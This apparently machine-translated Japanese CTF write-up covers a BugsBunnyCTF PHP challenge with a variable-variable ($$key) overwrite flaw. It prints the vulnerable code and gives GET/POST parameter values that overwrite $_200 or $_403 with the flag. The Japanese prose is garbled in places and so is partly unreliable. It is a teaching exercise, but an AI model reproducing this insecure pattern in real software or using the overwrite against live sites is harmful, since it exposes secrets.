タイトル
<?php
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
分析
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p...");
これは、POSTリクエストメソッドである必要があります
if ( !isset($_POST["flag"]) )
die($_403);
POSTは、可変という名前のフラグが必要です
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
$$被覆変数
最初のforeachは、任意の変数の値は、任意の変数付与することができる
入力変数缶の任意の値で第二のforeachを
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
$_POST["flag"]
そして、なら$flag
ない正確に等しく、すなわち、値型、および出力が場合$_403
であれば正確に等しく、出力$flag
、および$_200
POSTを試みるようになった状況を試してみてください
これは明らかにフラグ1ではありません
上記の変数は、カバーを見てみるとバックforeach ($_POST as $key => $value)$$key = $value;
1のときのみ、POST変数フラグ値を、$$key = $valu
=> $flag = 1
、そうでない場合は存在するかもしれない変数はフラグがtrueフラグは変数flagの値に変更されている$ 1に割り当てられ、最初の二つの場合ので、これは変更することができない
ので、その値が他の変数と出力することができるように変更される前に、それが実際のフラグを必要と
出力のみができるdie($_403);
とdie($_200);
そう考えを変更フラグに覆われるように変数を使用することです真の前に$flag
値カバレッジ$_403
または$_200
出力
変数カバーのforeachの時のみ、最初の場所をカバーする変数他の変数の値を利用することができます
知識ポイント
$$変数網羅
ソリューション
$ _200
実際のフラグカバー$_200
と出力$_200
$_GET['_200']='flag';
$_POST['flag']=1;
foreach ($_GET as $key => $value)
$$key = $$value;
等価$_200=$flag
、それは本当のフラグを与えます$_200
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
$flag
図1に示すように、変更された$_POST['flag']
タイプなどの等価、満たされていません$_POST["flag"] !== $flag
echo "This is your flag : ". $flag . "\n";
die($_200);
出力$_200
trueフラグ出力であります
$ _403
カバー実際のフラグ$_403
となるように構成された$_403
エネルギー出力を
$_GET['_403']=flag
&$_GET["_POST['flag']"]=2
$_POST['flag']=1;
foreach ($_GET as $key => $value)
$$key = $$value;
対応するが$_403=$flag
、真のフラグを$_403
、同様に$_POST['flag']=$2
、$2
すなわち、存在していない$_POST['flag']
空である[実際のコードが与えられるべきです]
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
$flag
図1に示すように変更され、$_POST['flag']
範囲は満たすために$_POST["flag"] !== $flag
出力を$_403